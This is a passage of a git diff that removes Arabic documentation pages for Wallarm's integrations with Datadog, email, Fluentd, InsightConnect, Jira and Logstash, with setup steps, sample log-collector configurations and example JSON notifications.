[قاعدة](../../../user-guides/rules/rules.md) جديدة | `rule_create_CL` | -| حذف قاعدة | `rule_delete_CL` | -| تغييرات في قاعدة موجودة | `rule_update_CL` | -| [محفز](../../../user-guides/triggers/triggers.md) جديد | `trigger_create_CL` | -| حذف محفز | `trigger_delete_CL` | -| تغييرات في محفز موجود | `trigger_update_CL` | -| التحديثات في المضيفين، الخدمات، والنطاقات في [الأصول المكشوفة](../../scanner.md) | `scope_object_CL` | -| تغييرات في جرد API (إذا كان المحفز المقابل [trigger](../../triggers/triggers.md) نشطًا) | `api_structure_changed_CL` | -| عدد الهجمات يتجاوز العتبة (إذا كان المحفز المقابل [trigger](../../triggers/triggers.md) نشطًا) | `attacks_exceeded_CL` | -| IP مدرج على القائمة السوداء جديد (إذا كان المحفز المقابل [trigger](../../triggers/triggers.md) نشطًا) | `ip_blocked_CL` | - -## تعطيل وحذف تكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير صحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/datadog.md b/docs/latest-ar/user-guides/settings/integrations/datadog.md deleted file mode 100644 index 16d7ae06fa..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1,40 +0,0 @@ -# Datadog - -[Datadog](https://www.datadoghq.com/) هي منصة شهيرة قائمة على السحابة للرصد والتحليلات توفر رؤية شاملة على أداء التطبيقات الحديثة، توافرها، وأمانها. يمكنك إعداد Wallarm لإرسال إشعارات الأحداث المكتشفة مباشرة إلى خدمة Datadog Logs من خلال إنشاء تكامل مناسب عبر [مفتاح API الخاص بـDatadog](https://docs.datadoghq.com/account_management/api-app-keys/) في واجهة Wallarm. - -## إعداد التكامل - -1. افتح واجهة Datadog → **إعدادات المنظمة** → **مفاتيح API** وأنشئ مفتاح API للتكامل مع Wallarm. -1. افتح واجهة Wallarm → **التكاملات** وتابع إلى إعداد التكامل مع **Datadog**. -1. أدخل اسم التكامل. -1. الصق مفتاح API الخاص بـDatadog في حقل **مفتاح API**. -1. اختر [منطقة Datadog](https://docs.datadoghq.com/getting_started/site/). -1. اختر أنواع الأحداث لتحريك الإشعارات. - - ![تكامل Datadog](../../../images/user-guides/settings/integrations/add-datadog-integration.png) - - التفاصيل على الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. اضغط **اختبار التكامل** للتحقق من صحة الإعدادات، توافر سحابة Wallarm، وتنسيق الإشعار. - - سجل Datadog التجريبي: - - ![سجل Datadog التجريبي](../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - - للعثور على سجلات Wallarm بين السجلات الأخرى، يمكنك استخدام علامة البحث `source:wallarm_cloud` في خدمة Datadog Logs. - -1. اضغط **إضافة التكامل**. - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توافر النظام ومعاملات التكامل الخاطئة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/email.md b/docs/latest-ar/user-guides/settings/integrations/email.md deleted file mode 100644 index 28828a9e96..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/email.md +++ /dev/null @@ -1,42 +0,0 @@ -# تقرير البريد الإلكتروني - -يمكنك تحديد عناوين بريد إلكتروني إضافية سيتم استخدامها لتوصيل [التقارير البي دي إف المجدولة](../../../user-guides/search-and-filters/custom-report.md) والإخطارات الفورية. يتم تكوين إرسال الرسائل إلى بريدك الإلكتروني الأساسي بشكل افتراضي. - -يمكن إرسال التقارير البي دي إف المجدولة على أساس يومي، أسبوعي، أو شهري. تشتمل التقارير البي دي إف على معلومات مفصلة حول الثغرات الأمنية، والهجمات، والحوادث المكتشفة في نظامك خلال الفترة المختارة. تتضمن الإخطارات تفاصيل موجزة عن الأحداث المُثارة. - -## إعداد التكامل - -1. افتح قسم **التكاملات**. -1. انقر فوق **تقرير البريد الإلكتروني** أو انقر على زر **أضف تكامل** واختر **تقرير البريد الإلكتروني**. -1. أدخل اسم التكامل. -1. أدخل عناوين البريد الإلكتروني مستخدمًا الفاصلة كمحدد. -1. اختر تكرار إرسال التقارير الأمنية. إذا لم يتم اختيار التكرار، فلن يتم إرسال التقارير. -1. اختر أنواع الأحداث التي ستُثير الإخطارات. - - ![تكامل تقرير البريد الإلكتروني](../../../images/user-guides/settings/integrations/add-email-report-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations-mail.md" - -1. انقر على **اختبر التكامل** للتحقق من صحة التكوين، وتوافر Wallarm Cloud، وتنسيق الإخطار. - - سيتم إرسال الإخطارات التجريبية ببادئة `[رسالة اختبار]`: - - ![رسالة بريد إلكتروني تجريبية](../../../images/user-guides/settings/integrations/test-email-scope-changed.png) - -1. انقر على **أضف التكامل**. - -## إعداد تنبيهات إضافية - -* عدد [الهجمات](../../../glossary-en.md#attack)، [الضربات](../../../glossary-en.md#hit) أو الحوادث لكل فترة زمنية (يوم، ساعة، إلخ.) يتجاوز العدد المحدد -* [حدثت تغييرات في واجهة برمجة التطبيقات](../../../api-discovery/track-changes.md) -* أُضيف مستخدم جديد إلى حساب الشركة - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعاملات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/fluentd.md b/docs/latest-ar/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 7092e4a10b..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1,198 +0,0 @@ -# Fluentd - -[Fluentd](https://www.fluentd.org/) هو أداة برمجية مفتوحة المصدر لجمع البيانات تعمل كآلية متعددة الاستخدامات وخفيفة الوزن لتجميع ونقل البيانات. يمكنك إعداد Wallarm لإرسال إشعارات عن الأحداث المكتشفة إلى Fluentd من خلال إنشاء تكامل مناسب في وحدة تحكم Wallarm. - -## صيغة الإشعار - -ترسل Wallarm الإشعارات إلى Fluentd عبر **الواب هوك** بصيغة JSON. يعتمد مجموع الكائنات JSON على الحدث الذي تقوم Wallarm بإشعارك به. - -مثال على إشعار الاكتشاف الجديد: - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## المتطلبات - -يجب أن تلبي تكوينات Fluentd المتطلبات التالية: - -* تقبل طلبات POST أو PUT -* تقبل الطلبات HTTPS -* تمتلك URL عامّ - -مثال على تكوين Fluentd: - -```bash linenums="1" - - @type http # إضافة الإدخال لحركة المرور HTTP وHTTPS - port 9880 # المنفذ للطلبات الواردة - # تكوين لمعالجة الاتصالات - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type stdout # إضافة الخروج لطباعة سجلات Fluentd في خط الأوامر - output_type json # صيغة السجلات المطبوعة في خط الأوامر - - -``` - -يمكنك العثور على المزيد من التفاصيل في [الوثائق رسمية Fluentd](https://docs.datadoghq.com/integrations/fluentd). - -## إعداد التكامل - -1. انتقل إلى إعداد تكامل Fluentd في وحدة تحكّم Wallarm → **التكاملات** → **Fluentd**. -1. أدخل اسم التكامل. -1. حدد URL Fluentd الهدف (URL الواب هوك). -1. إذا لزم الأمر، قم بتكوين الإعدادات المتقدمة: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل Fluentd](../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - - التفاصيل على الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة التكوين، توافر وحدة تحكم Wallarm وصيغة الإشعار. - - سجل الاختبار Fluentd: - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. انقر على **إضافة التكامل**. - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## استخدام Fluentd كجامع بيانات وسيط - ---8<-- "../include/integrations/webhook-examples/overview.md" - -على سبيل المثال: - -![مخطط الواب هوك](../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -لتسجيل أحداث Wallarm باستخدام هذا المخطط: - -1. تكوين جامع البيانات لقراءة الواب هوكات الواردة وتوجيه السجلات إلى النظام التالي. ترسل Wallarm الأحداث إلى جامعي البيانات عبر الواب هوك. -1. تكوين نظام SIEM للحصول على السجلات وقراءتها من جامع البيانات. -1. تكوين Wallarm لإرسال السجلات إلى جامع البيانات. - - يمكن لـ Wallarm إرسال السجلات إلى أي جامع بيانات عبر الواب هوك. - - للدمج مع Fluentd أو Logstash، يمكنك استخدام بطاقات التكامل المقابلة في واجهة مستخدم Wallarm Console. - - للدمج مع جامعات البيانات الأخرى، يمكنك استخدام [بطاقة التكامل الواب هوك](webhook.md) في واجهة مستخدم Wallarm Console. - -وصفنا بعض الأمثلة على كيفية تهيئة الاندماج مع جامعات البيانات الشهيرة التي تنقل السجلات إلى أنظمة SIEM: - -* [Wallarm → Fluentd → IBM QRadar](webhook-examples/fluentd-qradar.md) -* [Wallarm → Fluentd → Splunk Enterprise](webhook-examples/fluentd-splunk.md) -* [Wallarm → Fluentd → Micro Focus ArcSight Logger](webhook-examples/fluentd-arcsight-logger.md) -* [Wallarm → Fluentd → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarm تدعم أيضًا [الاندماج الأصلي مع Datadog عبر API Datadog](datadog.md). لا يتطلب الاندماج الأصلي استخدام جامع البيانات الوسيط. - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توافر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/insightconnect.md b/docs/latest-ar/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index 1d00aae116..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1,51 +0,0 @@ -# InsightConnect - -[InsightConnect](https://www.rapid7.com/products/insightconnect/) هو منصة تنسيق وأتمتة واستجابة للأمان (SOAR) مصممة لمساعدة المنظمات على تسهيل وأتمتة عمليات الأمان السيبراني لديهم، مما يجعل من الأسهل اكتشاف، والتحقيق، والرد على الحوادث الأمنية والتهديدات. يمكنك إعداد Wallarm لإرسال الإشعارات إلى InsightConnect. - -## إعداد التكامل - -أولًا، قم بتوليد ونسخ مفتاح API كالتالي: - -1. افتح واجهة المستخدم لـ InsightConnect → **الإعدادات** → [**صفحة مفاتيح API**](https://insight.rapid7.com/platform#/apiKeyManagement) وانقر على **مفتاح مستخدم جديد**. -2. أدخل اسم مفتاح API (مثل `Wallarm API`) وانقر على **توليد**. -3. انسخ مفتاح API المُولد. -4. اذهب إلى واجهة مستخدم Wallarm → **التكاملات** في [السحابة الأمريكية](https://us1.my.wallarm.com/integrations/) أو [السحابة الأوروبية](https://my.wallarm.com/integrations/) وانقر **InsightConnect**. -4. الصق مفتاح API الذي نسخته سابقًا في حقل **مفتاح API**. - -ثانيًا، قم بتوليد ونسخ عنوان URL لـ API كالتالي: - -1. ارجع إلى واجهة مستخدم InsightConnect، افتح **الأتمتة** → صفحة **السير العملي** وأنشئ سير عمل جديد لإشعار Wallarm. -2. عندما يُطلب منك اختيار مُحفِّز، اختر **مُحفِّز API**. -3. انسخ عنوان URL المُولد. -4. عد إلى واجهة مستخدم Wallarm → تكوين **InsightConnect** والصق عنوان URL لـ API الذي نسخته سابقًا في حقل **عنوان URL لـ API**. - -ثالثًا، أنهِ الإعداد في واجهة مستخدم Wallarm: - -1. أدخل اسم التكامل. -1. اختر أنواع الأحداث لتفعيل الإشعارات. - - ![تكامل InsightConnect](../../../images/user-guides/settings/integrations/add-insightconnect-integration.png) - - تفاصيل عن الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة التكوين، وتوفر سحابة Wallarm، وصيغة الإشعار. - - سيتم إرسال إشعارات الاختبار بالبادئة `[رسالة اختبار]`: - - ![إشعار اختبار InsightConnect](../../../images/user-guides/settings/integrations/test-insightconnect-scope-changed.png) - -1. انقر على **إضافة تكامل**. - -## إعداد تنبيهات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## تعطيل وحذف تكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعايير التكامل غير صحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/integrations-intro.md b/docs/latest-ar/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index 3f728c8d38..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1,332 +0,0 @@ -# نظرة عامة على التكاملات - -تعمل Wallarm على تعزيز أمانك واحدة خطوة أعلى عن طريق الاندماج بسلاسة مع مجموعة واسعة من النظم لتبقيك على اطلاع في الوقت الفعلي. - -مع تكاملات Wallarm، ستبقى دائمًا على علم بالأحداث الهامة، بما في ذلك: - -* التنبيهات الفورية حول الـ[hits المكتشفة](../../../user-guides/events/check-attack.md)، بحيث يمكنك اتخاذ إجراء فوري ضد التهديدات. -* التحديثات المتعلقة بأحداث النظام (التغييرات في المستخدمين المسجلين [المستخدمين](../../../user-guides/settings/users.md)، التكاملات، والتطبيقات [التطبيقات](../../../user-guides/settings/applications.md))، للتأكد من أنك دائمًا في السيطرة. -* الإعلام عن التغييرات الهامة في الملف الشخصي للأمان الخاص بك، مثل تغييرات قواعدك [القواعد](../../../user-guides/rules/rules.md) والمحفزات [المحفزات](../../../user-guides/triggers/triggers.md) الخاصة بك. -* التحذيرات المتجددة حول الثغرات الأمنية المحتملة [الثغرات الأمنية](../../../about-wallarm/detecting-vulnerabilities.md) في البنية التحتية الخاصة بك ومستويات الخطر الخاصة بها، بحيث يمكنك معالجة الضعف الأكثر خطورة بشكل احترافي. - -يمكنك إدارة الميزة في قسم **التكاملات** من وحدة تحكم Wallarm وقسم **المحفزات** لتكوين التنبيهات الإضافية للتكاملات الخاصة بك. - -![التكاملات](../../../images/user-guides/settings/integrations/integration-panel.png) - -Wallarm تتصل بكل سلاسة بعدد من الأدوات والمنصات الموجودة. عدد التكاملات مع نظام واحد غير محدود. - - - -## البريد الإلكتروني والرسائل - -
      -
      - - -

      البريد الإلكتروني

      -

      احصل على إشعارات على البريد الإلكتروني المشار إليه عند التسجيل ورسائل إلكترونية إضافية

      -       - - -

      Slack

      -

      إرسال الإشعارات إلى القناة الخاصة Slack المحددة

      -       - - -

      Telegram

      -

      أضف بوت Wallarm إلى Telegram وأرسل الإشعارات إليه

      -       - - -

      Microsoft Teams

      -

      إرسال الإشعارات إلى القناة الخاصة Microsoft Teams المحددة

      -       -
      -
      - -## أنظمة إدارة الحوادث والمهام - -
      -
      - - -

      Opsgenie

      -

      قم بالتكامل عبر Opsgenie API

      -       - - -

      PagerDuty

      -

      إرسال الحوادث إلى PagerDuty

      -       - - -

      Jira

      -

      قم بإعداد Wallarm لإنشاء قضايا في Jira

      -       - - -

      ServiceNow

      -

      قم بإعداد Wallarm لإنشاء تذاكر المشاكل في ServiceNow

      -       -
      -
      - -## أنظمة SIEM وSOAR - -
      -
      - - -

      Sumo Logic

      -

      إرسال الرسائل إلى Sumo Logic

      -       - - -

      Splunk

      -

      إرسال التنبيهات إلى Splunk

      -       - - -

      InsightConnect

      -

      إرسال الإشعارات إلى InsightConnect

      -       - - -

      Microsoft Sentinel

      -

      قم بتسجيل الأحداث في Microsoft Azure Sentinel

      -       -
      -
      - -## أنظمة إدارة السجلات - -
      -
      -
      - -

      Datadog

      -

      إرسال الأحداث إلى خدمة Datadog Logs مباشرة أو من خلال جامعي البيانات الوسطاء

      -
      -
      -
      -
      - -

      Datadog

      -

      إرسال الأحداث إلى خدمة Datadog Logs مباشرة أو من خلال جامعي البيانات الوسطاء

      -
      - -

      التكامل الأصلي

      -

      إرسال سجلات الى Datadog مباشرة

      -       - -

      Wallarm → Fluentd → Datadog

      -

      إرسال السجلات إلى Datadog عبر Fluentd

      -       - -

      Wallarm → Logstash → Datadog

      -

      إرسال السجلات إلى Datadog عبر Logstash

      -       -
      -
      - -## الجامعين للبيانات - -
      -
      -
      - -

      Fluentd

      -

      إرسال الإشعارات المكتشفة للأحداث الى Fluentd أو استخدم Fluentd كنظام وسيط للتكامل مع النظم الأخرى

      -
      -
      - -

      Logstash

      -

      إرسال الإشعارات المكتشفة للأحداث الى Logstash أو استخدم Logstash كنظام وسيط للتكامل مع النظم الأخرى

      -
      - - -

      AWS S3

      -

      قم بإعداد Wallarm لإرسال الملفات التي تحتوي على معلومات حول الhits المكتشفة إلى دلو Amazon S3 الخاص بك

      -       -
      -
      -
      - -

      Fluentd

      -

      إرسال الإشعارات المكتشفة للأحداث الى Fluentd أو استخدم Fluentd كنظام وسيط للتكامل مع الأنظمة الأخرى

      -
      - -

      التكامل الأصلي

      -

      إرسال الإشعارات المكتشفة للأحداث الى Fluentd نفسه

      -       -
      -

      Fluentd كموصل بيانات وسيط

      -

      استخدم Fluentd كنظام وسيط للتكامل مع النظم الأخرى

      -
      -
      -
      -
      -

      Fluentd كموصل بيانات وسيط

      -

      استخدم Fluentd كنظام وسيط للتكامل مع الأنظمة الأخرى

      -
      - -

      Wallarm → Fluentd → IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Fluentd

      -       - -

      Wallarm → Fluentd → Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Fluentd

      -       - -

      Wallarm → Fluentd → Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Fluentd

      -       - -

      Wallarm → Fluentd → Datadog

      -

      إرسال الإشعارات الى Datadog عبر Fluentd

      -       -
      -
      -
      - -

      Logstash

      -

      إرسال الإشعارات المكتشفة للأحداث الى Logstash أو استخدم Logstash كنظام وسيط للتكامل مع الأنظمة الأخرى

      -
      - -

      التكامل الأصلي

      -

      إرسال الإشعارات المكتشفة للأحداث الى Logstash نفسه

      -       -
      -

      Logstash كموصل بيانات وسيط

      -

      استخدم Logstash كنظام وسيط للتكامل مع النظم الأخرى

      -
      -
      -
      -
      -

      Logstash كموصل بيانات وسيط

      -

      استخدم Logstash كنظام وسيط للتكامل مع الأنظمة الأخرى

      -
      - -

      Wallarm → Logstash → IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Logstash

      -       - -

      Wallarm → Logstash → Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Logstash

      -       - -

      Wallarm → Logstash → Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Logstash

      -       - -

      Wallarm → Logstash → Datadog

      -

      إرسال الإشعارات الى Datadog عبر Logstash

      -       -
      -
      - -## التكاملات عبر جامعي البيانات - -
      -
      -
      - -

      IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Fluentd أو Logstash

      -
      -
      - -

      Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Fluentd أو Logstash

      -
      -
      - -

      Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Fluentd أو Logstash

      -
      -
      - -

      Datadog

      -

      إرسال الأحداث الى خدمة Datadog Logs عبر Fluentd أو Logstash

      -
      -
      -
      -
      - -

      IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Fluentd أو Logstash

      -
      - -

      Wallarm → Fluentd → IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Fluentd

      -       - -

      Wallarm → Logstash → IBM QRadar

      -

      إرسال السجلات الى IBM QRadar عبر Logstash

      -       -
      -
      -
      - -

      Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Fluentd أو Logstash

      -
      - -

      Wallarm → Fluentd → Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Fluentd

      -       - -

      Wallarm → Logstash → Splunk Enterprise

      -

      إرسال السجلات الى Splunk Enterprise عبر Logstash

      -       -
      -
      -
      - -

      Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Fluentd أو Logstash

      -
      - -

      Wallarm → Fluentd → Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Fluentd

      -       - -

      Wallarm → Logstash → Micro Focus ArcSight Logger

      -

      إرسال الإشعارات الى Micro Focus ArcSight Logger عبر Logstash

      -       -
      -
      -
      - -

      Datadog

      -

      إرسال الأحداث الى خدمة Datadog Logs عبر Fluentd أو Logstash

      -
      - -

      Wallarm → Fluentd → Datadog

      -

      إرسال السجلات الى Datadog عبر Fluentd

      -       - -

      Wallarm → Logstash → Datadog

      -

      إرسال السجلات الى Datadog عبر Logstash

      -       -
      -
      - -## نظم أخرى - -
      -
      - - -

      حلقات الوصل على الويب

      -

      موصل عام: ارسل الاشعارات الفورية الى اي نظام يقبل الويبhooks الواردة عبر بروتوكول HTTPS

      -       - - -

      طلب التكامل

      -

      إذا لم يكن النظام الذي تبحث عنه موجودًا، أخبرنا. سنتحقق من إمكانية التكامل ونتصل بك.

      -       -
      -
      - - diff --git a/docs/latest-ar/user-guides/settings/integrations/jira.md b/docs/latest-ar/user-guides/settings/integrations/jira.md deleted file mode 100644 index cae193d61d..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1,39 +0,0 @@ -# Atlassian Jira - -[Jira](https://www.atlassian.com/software/jira) هو برنامج إدارة مشاريع وتتبع القضايا الذي طورته Atlassian ويُستخدم على نطاق واسع. يمكنك ضبط Wallarm لإنشاء قضايا في Jira عند اكتشاف [الثغرات الأمنية](../../../glossary-en.md#vulnerability)، سواءً كانت جميعها أو فقط لمستويات الخطورة المختارة - عالية، متوسطة أو منخفضة. - -## إعداد التكامل - -في واجهة مستخدم Jira: - -1. قم بإنشاء رمز API كما هو موضح [هنا](https://support.atlassian.com/atlassian-account/docs/manage-api-tokens-for-your-atlassian-account/#Create-an-API-token). -1. انسخ رمز API الذي تم إنشاؤه. - -في واجهة مستخدم Wallarm: - -1. افتح لوحة تحكم Wallarm → **التكاملات** → **Jira**. -1. أدخل اسم التكامل. -1. أدخل مضيف Jira (مثل، `https://company-x.atlassian.net/`). -1. أدخل بريد المستخدم في Jira، الذي يتطلبه Jira للمصادقة والذي سيُستخدم أيضًا لتحديد المُبلغ عن القضايا المُنشأة. -1. الصق رمز API المُنشأ. سيتم التحقق من البريد الإلكتروني والرمز للمصادقة على Wallarm عند مضيف Jira المحدد. عند النجاح، ستُدرج المساحات المتاحة لهذا المستخدم في Jira. -1. اختر مساحة Jira لإنشاء القضايا فيها. عند الاختيار، ستُدرج أنواع القضايا المدعومة في هذه المساحة. -1. اختر نوع قضية Jira التي ستنتمي إليها القضايا المُنشأة. -1. اختر أنواع الأحداث التي ستُحفز الإخطارات. يمكن اختيار جميع الثغرات الأمنية أو تلك الخاصة بمستويات خطورة معينة فقط. - - ![تكامل Jira](../../../images/user-guides/settings/integrations/add-jira-integration.png) - -1. انقر على **اختبار التكامل** للتحقق من صحة الإعدادات، توفر سحابة Wallarm، وتنسيق الإخطار. - - اختبار إنشاء قضية Jira: - - ![اختبار إنشاء قضية Jira](../../../images/user-guides/settings/integrations/test-jira-issue-creation.png) - -1. انقر على **إضافة التكامل**. - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/logstash.md b/docs/latest-ar/user-guides/settings/integrations/logstash.md deleted file mode 100644 index b0a0bfbac3..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1,191 +0,0 @@ -# Logstash - -[Logstash](https://www.elastic.co/logstash) هو أداة مفتوحة المصدر لمعالجة البيانات وإدارة السجلات طورتها Elastic. يمكنك ضبط Wallarm لإرسال إشعارات بالأحداث المكتشفة إلى Logstash. - -## تنسيق الإشعار - -Wallarm يرسل الإشعارات إلى Logstash عبر **الويب هوك** بتنسيق JSON. يعتمد مجموعة الكائنات JSON على الحدث الذي يشعر عنه Wallarm. - -مثال على إشعار الضربة الجديدة المكتشفة: - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## المتطلبات - -يجب أن تلبي تكوينات Logstash المتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* امتلاك URL عام - -مثال على تكوين Logstash: - -```bash linenums="1" -input { - http { # مكمل الإدخال لحركة HTTP وHTTPS - port => 5044 # المنفذ للطلبات الواردة - ssl => true # معالجة حركة HTTPS - ssl_certificate => "/etc/server.crt" # شهادة TLS لـ Logstash - ssl_key => "/etc/server.key" # المفتاح الخاص لشهادة TLS - } -} -output { - stdout {} # مكمل الإخراج لطباعة سجلات Logstash في سطر الأوامر - ... -} -``` - -يمكنك العثور على المزيد من التفاصيل في [الوثائق الرسمية لـ Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -## إعداد الاندماج - -1. انتقل إلى إعداد اندماج Logstash في Wallarm Console → **Integrations** → **Logstash**. -1. أدخل اسم الاندماج. -1. حدد URL Logstash المستهدف (Webhook URL). -1. إذا لزم الأمر، قم بتهيئة الإعدادات المتقدمة: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![اندماج Logstash](../../../images/user-guides/settings/integrations/add-logstash-integration.png) - - التفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر **اختبر الاندماج** للتحقق من صحة التكوين، توافر Wallarm Cloud، وتنسيق الإشعار. - - سجل Logstash التجريبي: - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. انقر **أضف اندماج**. - -## إعداد تنبيهات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## استخدام Logstash كمجمع بيانات وسيط - ---8<-- "../include/integrations/webhook-examples/overview.md" - -على سبيل المثال: - -![تدفق الويب هوك](../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -لتسجيل أحداث Wallarm باستخدام هذه الخطة: - -1. قم بتكوين مجمع البيانات لقراءة الويب هوك الواردة ولإعادة توجيه السجلات إلى النظام التالي. Wallarm يرسل الأحداث إلى مجمعي البيانات عبر الويب هوك. -1. قم بتكوين نظام إدارة المعلومات الأمنية لاستقبال وقراءة السجلات من مجمع البيانات. -1. قم بتكوين Wallarm لإرسال السجلات إلى مجمع البيانات. - - يمكن لـ 